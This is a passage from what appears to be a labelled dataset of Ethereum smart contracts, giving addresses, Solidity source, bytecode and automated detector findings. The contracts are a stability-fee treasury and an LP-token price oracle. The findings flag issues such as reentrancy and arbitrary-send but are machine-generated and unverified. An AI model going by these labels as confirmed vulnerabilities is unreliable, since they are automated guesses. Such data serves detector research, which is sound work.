65b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139cc81613541565b81146139d757600080fd5b50565b6139e381613553565b81146139ee57600080fd5b50565b6139fa8161357f565b8114613a0557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fd3dcf794da0c2af63f49f4466331796826d210a52bf2d7d568b836f0281922064736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,374
0xf48406f92208308a0806374efece889c351af7cd
/// NoRebalanceStabilityFeeTreasury.sol // Copyright (C) 2018 Rain <rainbreak@riseup.net>, 2020 Reflexer Labs, INC // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity 0.6.7; abstract contract SAFEEngineLike { function approveSAFEModification(address) virtual external; function denySAFEModification(address) virtual external; function transferInternalCoins(address,address,uint256) virtual external; function settleDebt(uint256) virtual external; function coinBalance(address) virtual public view returns (uint256); function debtBalance(address) virtual public view returns (uint256); } abstract contract SystemCoinLike { function balanceOf(address) virtual public view returns (uint256); function approve(address, uint256) virtual public returns (uint256); function transfer(address,uint256) virtual public returns (bool); function transferFrom(address,address,uint256) virtual public returns (bool); } abstract contract CoinJoinLike { function systemCoin() virtual public view returns (address); function join(address, uint256) virtual external; } contract NoRebalanceStabilityFeeTreasury { // --- Auth --- mapping (address => uint256) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "NoRebalanceStabilityFeeTreasury/account-not-authorized"); _; } // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event SetTotalAllowance(address indexed account, uint256 rad); event SetPerBlockAllowance(address indexed account, uint256 rad); event GiveFunds(address indexed account, uint256 rad); event TakeFunds(address indexed account, uint256 rad); event PullFunds(address indexed sender, address indexed dstAccount, address token, uint256 rad); // --- Structs --- struct Allowance { uint256 total; uint256 perBlock; } mapping(address => Allowance) private allowance; mapping(address => mapping(uint256 => uint256)) public pulledPerBlock; SAFEEngineLike public safeEngine; SystemCoinLike public systemCoin; CoinJoinLike public coinJoin; uint256 public pullFundsMinThreshold; // minimum funds that must be in the treasury so that someone can pullFunds [rad] uint256 public latestSurplusTransferTime; // latest timestamp when transferSurplusFunds was called [seconds] uint256 public contractEnabled; modifier accountNotTreasury(address account) { require(account != address(this), "NoRebalanceStabilityFeeTreasury/account-cannot-be-treasury"); _; } constructor( address safeEngine_, address coinJoin_ ) public { require(address(CoinJoinLike(coinJoin_).systemCoin()) != address(0), "NoRebalanceStabilityFeeTreasury/null-system-coin"); authorizedAccounts[msg.sender] = 1; safeEngine = SAFEEngineLike(safeEngine_); coinJoin = CoinJoinLike(coinJoin_); systemCoin = SystemCoinLike(coinJoin.systemCoin()); systemCoin.approve(address(coinJoin), uint256(-1)); emit AddAuthorization(msg.sender); } // --- Math --- uint256 constant HUNDRED = 10 ** 2; uint256 constant RAY = 10 ** 27; function addition(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x + y; require(z >= x, "NoRebalanceStabilityFeeTreasury/add-uint-uint-overflow"); } function addition(int256 x, int256 y) internal pure returns (int256 z) { z = x + y; if (y <= 0) require(z <= x, "NoRebalanceStabilityFeeTreasury/add-int-int-underflow"); if (y > 0) require(z > x, "NoRebalanceStabilityFeeTreasury/add-int-int-overflow"); } function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "NoRebalanceStabilityFeeTreasury/sub-uint-uint-underflow"); } function subtract(int256 x, int256 y) internal pure returns (int256 z) { z = x - y; require(y <= 0 || z <= x, "NoRebalanceStabilityFeeTreasury/sub-int-int-underflow"); require(y >= 0 || z >= x, "NoRebalanceStabilityFeeTreasury/sub-int-int-overflow"); } function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "NoRebalanceStabilityFeeTreasury/mul-uint-uint-overflow"); } function divide(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y > 0, "NoRebalanceStabilityFeeTreasury/div-y-null"); z = x / y; require(z <= x, "NoRebalanceStabilityFeeTreasury/div-invalid"); } function minimum(uint256 x, uint256 y) internal view returns (uint256 z) { z = (x <= y) ? x : y; } // --- Utils --- function either(bool x, bool y) internal pure returns (bool z) { assembly{ z := or(x, y)} } function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } /** * @notice Join all ERC20 system coins that the treasury has inside SAFEEngine */ function joinAllCoins() internal { if (systemCoin.balanceOf(address(this)) > 0) { coinJoin.join(address(this), systemCoin.balanceOf(address(this))); } } function settleDebt() public { uint256 coinBalanceSelf = safeEngine.coinBalance(address(this)); uint256 debtBalanceSelf = safeEngine.debtBalance(address(this)); if (debtBalanceSelf > 0) { safeEngine.settleDebt(minimum(coinBalanceSelf, debtBalanceSelf)); } } // --- Getters --- function getAllowance(address account) public view returns (uint256, uint256) { return (allowance[account].total, allowance[account].perBlock); } // --- SF Transfer Allowance --- /** * @notice Modify an address' total allowance in order to withdraw SF from the treasury * @param account The approved address * @param rad The total approved amount of SF to withdraw (number with 45 decimals) */ function setTotalAllowance(address account, uint256 rad) external isAuthorized accountNotTreasury(account) { require(account != address(0), "NoRebalanceStabilityFeeTreasury/null-account"); allowance[account].total = rad; emit SetTotalAllowance(account, rad); } /** * @notice Modify an address' per block allowance in order to withdraw SF from the treasury * @param account The approved address * @param rad The per block approved amount of SF to withdraw (number with 45 decimals) */ function setPerBlockAllowance(address account, uint256 rad) external isAuthorized accountNotTreasury(account) { require(account != address(0), "NoRebalanceStabilityFeeTreasury/null-account"); allowance[account].perBlock = rad; emit SetPerBlockAllowance(account, rad); } // --- Stability Fee Transfer (Governance) --- /** * @notice Governance transfers SF to an address * @param account Address to transfer SF to * @param rad Amount of internal system coins to transfer (a number with 45 decimals) */ function giveFunds(address account, uint256 rad) external isAuthorized accountNotTreasury(account) { require(account != address(0), "NoRebalanceStabilityFeeTreasury/null-account"); joinAllCoins(); settleDebt(); require(safeEngine.debtBalance(address(this)) == 0, "NoRebalanceStabilityFeeTreasury/outstanding-bad-debt"); require(safeEngine.coinBalance(address(this)) >= rad, "NoRebalanceStabilityFeeTreasury/not-enough-funds"); safeEngine.transferInternalCoins(address(this), account, rad); emit GiveFunds(account, rad); } /** * @notice Governance takes funds from an address * @param account Address to take system coins from * @param rad Amount of internal system coins to take from the account (a number with 45 decimals) */ function takeFunds(address account, uint256 rad) external isAuthorized accountNotTreasury(account) { safeEngine.transferInternalCoins(account, address(this), rad); emit TakeFunds(account, rad); } // --- Stability Fee Transfer (Approved Accounts) --- /** * @notice Pull stability fees from the treasury (if your allowance permits) * @param dstAccount Address to transfer funds to * @param token Address of the token to transfer (in this case it must be the address of the ERC20 system coin). * Used only to adhere to a standard for automated, on-chain treasuries * @param wad Amount of system coins (SF) to transfer (expressed as an 18 decimal number but the contract will transfer internal system coins that have 45 decimals) */ function pullFunds(address dstAccount, address token, uint256 wad) external { if (dstAccount == address(this)) return; require(allowance[msg.sender].total >= multiply(wad, RAY), "NoRebalanceStabilityFeeTreasury/not-allowed"); require(dstAccount != address(0), "NoRebalanceStabilityFeeTreasury/null-dst"); require(wad > 0, "NoRebalanceStabilityFeeTreasury/null-transfer-amount"); require(token == address(systemCoin), "NoRebalanceStabilityFeeTreasury/token-unavailable"); if (allowance[msg.sender].perBlock > 0) { require(addition(pulledPerBlock[msg.sender][block.number], multiply(wad, RAY)) <= allowance[msg.sender].perBlock, "NoRebalanceStabilityFeeTreasury/per-block-limit-exceeded"); } pulledPerBlock[msg.sender][block.number] = addition(pulledPerBlock[msg.sender][block.number], multiply(wad, RAY)); joinAllCoins(); settleDebt(); require(safeEngine.debtBalance(address(this)) == 0, "NoRebalanceStabilityFeeTreasury/outstanding-bad-debt"); require(safeEngine.coinBalance(address(this)) >= multiply(wad, RAY), "NoRebalanceStabilityFeeTreasury/not-enough-funds"); // Update allowance allowance[msg.sender].total = subtract(allowance[msg.sender].total, multiply(wad, RAY)); // Transfer money safeEngine.transferInternalCoins(address(this), dstAccount, multiply(wad, RAY)); emit PullFunds(msg.sender, dstAccount, token, multiply(wad, RAY)); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80636e7dd917116100a2578063aafb96b611610071578063aafb96b614610294578063b73405401461029c578063c4cc9253146102c8578063ca9ece35146102f4578063eb5a662e146102fc5761010b565b80636e7dd9171461023257806379b5f0401461025e57806394f3f81d14610266578063a7e944551461028c5761010b565b80633d285a6f116100de5780633d285a6f146101ca57806341b3a0d9146101f657806343e9c6b0146101fe57806367aea3131461022a5761010b565b8063201add9b1461011057806324ba58841461014857806330413a2a1461018057806335b28153146101a4575b600080fd5b6101466004803603606081101561012657600080fd5b506001600160a01b0381358116916020810135909116906040013561033b565b005b61016e6004803603602081101561015e57600080fd5b50356001600160a01b0316610851565b60408051918252519081900360200190f35b610188610863565b604080516001600160a01b039092168252519081900360200190f35b610146600480360360208110156101ba57600080fd5b50356001600160a01b0316610872565b610146600480360360408110156101e057600080fd5b506001600160a01b038135169060200135610912565b61016e610a46565b6101466004803603604081101561021457600080fd5b506001600160a01b038135169060200135610a4c565b610188610b7d565b6101466004803603604081101561024857600080fd5b506001600160a01b038135169060200135610b8c565b61016e610e95565b6101466004803603602081101561027c57600080fd5b50356001600160a01b0316610e9b565b610188610f3a565b610146610f49565b61016e600480360360408110156102b257600080fd5b506001600160a01b0381351690602001356110b3565b610146600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356110d0565b61016e61121e565b6103226004803603602081101561031257600080fd5b50356001600160a01b0316611224565b6040805192835260208301919091528051918290030190f35b6001600160a01b0383163014156103515761084c565b61036681676765c793fa10079d601b1b611247565b3360009081526001602052604090205410156103b35760405162461bcd60e51b815260040180806020018281038252602b8152602001806114e9602b913960400191505060405180910390fd5b6001600160a01b0383166103f85760405162461bcd60e51b81526004018080602001828103825260288152602001806115146028913960400191505060405180910390fd5b600081116104375760405162461bcd60e51b81526004018080602001828103825260348152602001806116146034913960400191505060405180910390fd5b6004546001600160a01b038381169116146104835760405162461bcd60e51b81526004018080602001828103825260318152602001806116db6031913960400191505060405180910390fd5b33600090815260016020819052604090912001541561051d5733600090815260016020818152604080842090920154600282528284204385529091529120546104e0906104db84676765c793fa10079d601b1b611247565b6112a3565b111561051d5760405162461bcd60e51b815260040180806020018281038252603881526020018061153c6038913960400191505060405180910390fd5b336000908152600260209081526040808320438452909152902054610551906104db83676765c793fa10079d601b1b611247565b3360009081526002602090815260408083204384529091529020556105746112e5565b61057c610f49565b600354604080516311005b0760e01b815230600482015290516001600160a01b03909216916311005b0791602480820192602092909190829003018186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d60208110156105f157600080fd5b50511561062f5760405162461bcd60e51b81526004018080602001828103825260348152602001806115746034913960400191505060405180910390fd5b61064481676765c793fa10079d601b1b611247565b60035460408051633eaf7a0360e21b815230600482015290516001600160a01b039092169163fabde80c91602480820192602092909190829003018186803b15801561068f57600080fd5b505afa1580156106a3573d6000803e3d6000fd5b505050506040513d60208110156106b957600080fd5b505110156106f85760405162461bcd60e51b81526004018080602001828103825260308152602001806116486030913960400191505060405180910390fd5b336000908152600160205260409020546107269061072183676765c793fa10079d601b1b611247565b611453565b336000908152600160205260409020556003546001600160a01b031663efabcadc308561075e85676765c793fa10079d601b1b611247565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b1580156107c657600080fd5b505af11580156107da573d6000803e3d6000fd5b50505050826001600160a01b0316336001600160a01b03167f8a786a6b3b1930652b339c51ea9925b5a763c15a74141e54e2796b4e34167ac28461082985676765c793fa10079d601b1b611247565b604080516001600160a01b03909316835260208301919091528051918290030190a35b505050565b60006020819052908152604090205481565b6005546001600160a01b031681565b336000908152602081905260409020546001146108c05760405162461bcd60e51b81526004018080602001828103825260368152602001806115a86036913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b336000908152602081905260409020546001146109605760405162461bcd60e51b81526004018080602001828103825260368152602001806115a86036913960400191505060405180910390fd5b816001600160a01b0381163014156109a95760405162461bcd60e51b815260040180806020018281038252603a8152602001806114af603a913960400191505060405180910390fd5b6001600160a01b0383166109ee5760405162461bcd60e51b815260040180806020018281038252602c8152602001806116af602c913960400191505060405180910390fd5b6001600160a01b038316600081815260016020818152604092839020909101859055815185815291517f872b1baa7b7b264504136eb033469a05552185dc7454b7dc405f006fe41752989281900390910190a2505050565b60085481565b33600090815260208190526040902054600114610a9a5760405162461bcd60e51b81526004018080602001828103825260368152602001806115a86036913960400191505060405180910390fd5b816001600160a01b038116301415610ae35760405162461bcd60e51b815260040180806020018281038252603a8152602001806114af603a913960400191505060405180910390fd5b6001600160a01b038316610b285760405162461bcd60e51b815260040180806020018281038252602c8152602001806116af602c913960400191505060405180910390fd5b6001600160a01b038316600081815260016020908152604091829020859055815185815291517f2c5e94d86b8348fb36d52453e5460c21e506c0fa8a48a721d021490e22ece3eb9281900390910190a2505050565b6003546001600160a01b031681565b33600090815260208190526040902054600114610bda5760405162461bcd60e51b81526004018080602001828103825260368152602001806115a86036913960400191505060405180910390fd5b816001600160a01b038116301415610c235760405162461bcd60e51b815260040180806020018281038252603a8152602001806114af603a913960400191505060405180910390fd5b6001600160a01b038316610c685760405162461bcd60e51b815260040180806020018281038252602c8152602001806116af602c913960400191505060405180910390fd5b610c706112e5565b610c78610f49565b600354604080516311005b0760e01b815230600482015290516001600160a01b03909216916311005b0791602480820192602092909190829003018186803b158015610cc357600080fd5b505afa158015610cd7573d6000803e3d6000fd5b505050506040513d6020811015610ced57600080fd5b505115610d2b5760405162461bcd60e51b81526004018080602001828103825260348152602001806115746034913960400191505060405180910390fd5b60035460408051633eaf7a0360e21b8152306004820152905184926001600160a01b03169163fabde80c916024808301926020929190829003018186803b158015610d7557600080fd5b505afa158015610d89573d6000803e3d6000fd5b505050506040513d6020811015610d9f57600080fd5b50511015610dde5760405162461bcd60e51b81526004018080602001828103825260308152602001806116486030913960400191505060405180910390fd5b60035460408051633beaf2b760e21b81523060048201526001600160a01b038681166024830152604482018690529151919092169163efabcadc91606480830192600092919082900301818387803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b50506040805185815290516001600160a01b03871693507f1dee639be31fd4861215d4df840404c8ff791bd467d61956d244f9dec039f5a592509081900360200190a2505050565b60075481565b33600090815260208190526040902054600114610ee95760405162461bcd60e51b81526004018080602001828103825260368152602001806115a86036913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b6004546001600160a01b031681565b60035460408051633eaf7a0360e21b815230600482015290516000926001600160a01b03169163fabde80c916024808301926020929190829003018186803b158015610f9457600080fd5b505afa158015610fa8573d6000803e3d6000fd5b505050506040513d6020811015610fbe57600080fd5b5051600354604080516311005b0760e01b815230600482015290519293506000926001600160a01b03909216916311005b0791602480820192602092909190829003018186803b15801561101157600080fd5b505afa158015611025573d6000803e3d6000fd5b505050506040513d602081101561103b57600080fd5b5051905080156110af576003546001600160a01b03166327a0bb336110608484611495565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b505050505b5050565b600260209081526000928352604080842090915290825290205481565b3360009081526020819052604090205460011461111e5760405162461bcd60e51b81526004018080602001828103825260368152602001806115a86036913960400191505060405180910390fd5b816001600160a01b0381163014156111675760405162461bcd60e51b815260040180806020018281038252603a8152602001806114af603a913960400191505060405180910390fd5b60035460408051633beaf2b760e21b81526001600160a01b038681166004830152306024830152604482018690529151919092169163efabcadc91606480830192600092919082900301818387803b1580156111c257600080fd5b505af11580156111d6573d6000803e3d6000fd5b50506040805185815290516001600160a01b03871693507fbbf79e146587871d724f2a0ff9c8beff1c42b3d5ef6ea6a7ba1990b104be51e492509081900360200190a2505050565b60065481565b6001600160a01b0316600090815260016020819052604090912080549101549091565b60008115806112625750508082028282828161125f57fe5b04145b61129d5760405162461bcd60e51b81526004018080602001828103825260368152602001806115de6036913960400191505060405180910390fd5b92915050565b8181018281101561129d5760405162461bcd60e51b815260040180806020018281038252603681526020018061170c6036913960400191505060405180910390fd5b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b15801561133457600080fd5b505afa158015611348573d6000803e3d6000fd5b505050506040513d602081101561135e57600080fd5b505111156114515760055460048054604080516370a0823160e01b81523093810184905290516001600160a01b0394851694633b4da69f949316916370a08231916024808301926020929190829003018186803b1580156113be57600080fd5b505afa1580156113d2573d6000803e3d6000fd5b505050506040513d60208110156113e857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039093166004840152602483019190915251604480830192600092919082900301818387803b15801561143857600080fd5b505af115801561144c573d6000803e3d6000fd5b505050505b565b8082038281111561129d5760405162461bcd60e51b81526004018080602001828103825260378152602001806116786037913960400191505060405180910390fd5b6000818311156114a557816114a7565b825b939250505056fe4e6f526562616c616e636553746162696c69747946656554726561737572792f6163636f756e742d63616e6e6f742d62652d74726561737572794e6f526562616c616e636553746162696c69747946656554726561737572792f6e6f742d616c6c6f7765644e6f526562616c616e636553746162696c69747946656554726561737572792f6e756c6c2d6473744e6f526562616c616e636553746162696c69747946656554726561737572792f7065722d626c6f636b2d6c696d69742d65786365656465644e6f526562616c616e636553746162696c69747946656554726561737572792f6f75747374616e64696e672d6261642d646562744e6f526562616c616e636553746162696c69747946656554726561737572792f6163636f756e742d6e6f742d617574686f72697a65644e6f526562616c616e636553746162696c69747946656554726561737572792f6d756c2d75696e742d75696e742d6f766572666c6f774e6f526562616c616e636553746162696c69747946656554726561737572792f6e756c6c2d7472616e736665722d616d6f756e744e6f526562616c616e636553746162696c69747946656554726561737572792f6e6f742d656e6f7567682d66756e64734e6f526562616c616e636553746162696c69747946656554726561737572792f7375622d75696e742d75696e742d756e646572666c6f774e6f526562616c616e636553746162696c69747946656554726561737572792f6e756c6c2d6163636f756e744e6f526562616c616e636553746162696c69747946656554726561737572792f746f6b656e2d756e617661696c61626c654e6f526562616c616e636553746162696c69747946656554726561737572792f6164642d75696e742d75696e742d6f766572666c6f77a264697066735822122044f16f8d70221c9685a146d81e517d3a83c0491a9dacbd938a25ff957725253a64736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
1,375
0xe136b3cdea4266024e5ffc289de086a425940638
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } } interface IAggregator { function latestAnswer() external view returns (int256 answer); } interface IUniswapV2Pair { function totalSupply() external view returns (uint256); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); } interface IOracle { /// @notice Get the latest exchange rate. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return success if no valid (recent) rate is available, return false else true. /// @return rate The rate of the requested asset / pair / pool. function get(bytes calldata data) external returns (bool success, uint256 rate); /// @notice Check the last exchange rate without any state changes. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return success if no valid (recent) rate is available, return false else true. /// @return rate The rate of the requested asset / pair / pool. function peek(bytes calldata data) external view returns (bool success, uint256 rate); /// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek(). /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return rate The rate of the requested asset / pair / pool. function peekSpot(bytes calldata data) external view returns (uint256 rate); /// @notice Returns a human readable (short) name about this oracle. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return (string) A human readable symbol name about this oracle. function symbol(bytes calldata data) external view returns (string memory); /// @notice Returns a human readable name about this oracle. /// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle. /// For example: /// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256)); /// @return (string) A human readable name about this oracle. function name(bytes calldata data) external view returns (string memory); } /// @title LPChainlinkOracleV1 /// @author BoringCrypto /// @notice Oracle used for getting the price of an LP token paired with ETH based on an token-ETH chainlink oracle with 18 decimals /// @dev Optimized version based on https://blog.alphafinance.io/fair-lp-token-pricing/ contract LPETHChainlinkOracleV1 is IAggregator, IOracle { using BoringMath for uint256; IUniswapV2Pair public immutable pair; IAggregator public immutable tokenOracle; constructor(IUniswapV2Pair pair_, IAggregator tokenOracle_) public { pair = pair_; tokenOracle = tokenOracle_; } // Credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol function sqrt(uint256 x) private pure returns (uint128) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint128(r < r1 ? r : r1); } // Calculates the latest exchange rate function latestAnswer() public view override returns (int256) { (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pair).getReserves(); uint256 totalSupply = pair.totalSupply(); uint256 k = reserve0.mul(reserve1); uint256 ethValue = sqrt((k / 1e18).mul(uint256(tokenOracle.latestAnswer()))); uint256 totalValue = ethValue.mul(2); return int256(totalValue.mul(1e18) / totalSupply); } // Calculates the latest exchange rate // Uses both divide and multiply only for tokens not supported directly by Chainlink, for example MKR/USD function _get( address multiply, address divide, uint256 decimals ) private view returns (uint256) { uint256 price = uint256(1e36); if (multiply != address(0)) { price = price.mul(uint256(latestAnswer())); } else { price = price.mul(1e18); } if (divide != address(0)) { price = price / uint256(latestAnswer()); } return price / decimals; } function getDataParameter( address multiply, address divide, uint256 decimals ) public pure returns (bytes memory) { return abi.encode(multiply, divide, decimals); } // Get the latest exchange rate /// @inheritdoc IOracle function get(bytes calldata data) public override returns (bool, uint256) { (address multiply, address divide, uint256 decimals) = abi.decode(data, (address, address, uint256)); return (true, _get(multiply, divide, decimals)); } // Check the last exchange rate without any state changes /// @inheritdoc IOracle function peek(bytes calldata data) public view override returns (bool, uint256) { (address multiply, address divide, uint256 decimals) = abi.decode(data, (address, address, uint256)); return (true, _get(multiply, divide, decimals)); } // Check the current spot exchange rate without any state changes /// @inheritdoc IOracle function peekSpot(bytes calldata data) external view override returns (uint256 rate) { (, rate) = peek(data); } /// @inheritdoc IOracle function name(bytes calldata) public view override returns (string memory) { return "SUSHI/ETH LP Chainlink"; } /// @inheritdoc IOracle function symbol(bytes calldata) public view override returns (string memory) { return "SLP-LINK"; } }
0x608060405234801561001057600080fd5b50600436106100a35760003560e01c8063d39bbef011610076578063d6d7d5251161005b578063d6d7d525146102c0578063eeb8a8d3146102c0578063fdc28b081461034b576100a3565b8063d39bbef0146101e0578063d568866c14610250576100a3565b806350d25bcd146100a85780636c5ec25c146100c2578063a8aa1b31146100f3578063c699c4d6146100fb575b600080fd5b6100b061038e565b60408051918252519081900360200190f35b6100ca610601565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6100ca610625565b61016b6004803603602081101561011157600080fd5b81019060208101813564010000000081111561012c57600080fd5b82018360208201111561013e57600080fd5b8035906020019184600183028401116401000000008311171561016057600080fd5b509092509050610649565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a557818101518382015260200161018d565b50505050905090810190601f1680156101d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6100b0600480360360208110156101f657600080fd5b81019060208101813564010000000081111561021157600080fd5b82018360208201111561022357600080fd5b8035906020019184600183028401116401000000008311171561024557600080fd5b509092509050610684565b61016b6004803603602081101561026657600080fd5b81019060208101813564010000000081111561028157600080fd5b82018360208201111561029357600080fd5b803590602001918460018302840111640100000000831117156102b557600080fd5b509092509050610698565b610330600480360360208110156102d657600080fd5b8101906020810181356401000000008111156102f157600080fd5b82018360208201111561030357600080fd5b8035906020019184600183028401116401000000008311171561032557600080fd5b5090925090506106d1565b60408051921515835260208301919091528051918290030190f35b61016b6004803603606081101561036157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020810135909116906040013561072e565b60008060007f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb073ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156103f957600080fd5b505afa15801561040d573d6000803e3d6000fd5b505050506040513d606081101561042357600080fd5b508051602091820151604080517f18160ddd00000000000000000000000000000000000000000000000000000000815290516dffffffffffffffffffffffffffff938416965092909116935060009273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb016926318160ddd926004808201939291829003018186803b1580156104cc57600080fd5b505afa1580156104e0573d6000803e3d6000fd5b505050506040513d60208110156104f657600080fd5b5051905060006105068484610775565b905060006105b86105b37f000000000000000000000000e572cef69f43c2e488b33924af04bdace19079cf73ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561057657600080fd5b505afa15801561058a573d6000803e3d6000fd5b505050506040513d60208110156105a057600080fd5b5051670de0b6b3a7640000850490610775565b6107fb565b6fffffffffffffffffffffffffffffffff16905060006105d9826002610775565b9050836105ee82670de0b6b3a7640000610775565b816105f557fe5b04965050505050505090565b7f000000000000000000000000e572cef69f43c2e488b33924af04bdace19079cf81565b7f000000000000000000000000795065dcc9f64b5614c407a6efdc400da6221fb081565b60408051808201909152600881527f534c502d4c494e4b00000000000000000000000000000000000000000000000060208201525b92915050565b600061069083836106d1565b949350505050565b505060408051808201909152601681527f53555348492f455448204c5020436861696e6c696e6b00000000000000000000602082015290565b6000806000806000868660608110156106e957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116945060208201351692506040013590506001610720848484610950565b945094505050509250929050565b6040805173ffffffffffffffffffffffffffffffffffffffff9485166020820152929093168284015260608083019190915282518083039091018152608090910190915290565b60008115806107905750508082028282828161078d57fe5b04145b61067e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604482015290519081900360640190fd5b60008161080a5750600061094b565b81600170010000000000000000000000000000000082106108305760809190911c9060401b5b68010000000000000000821061084b5760409190911c9060201b5b64010000000082106108625760209190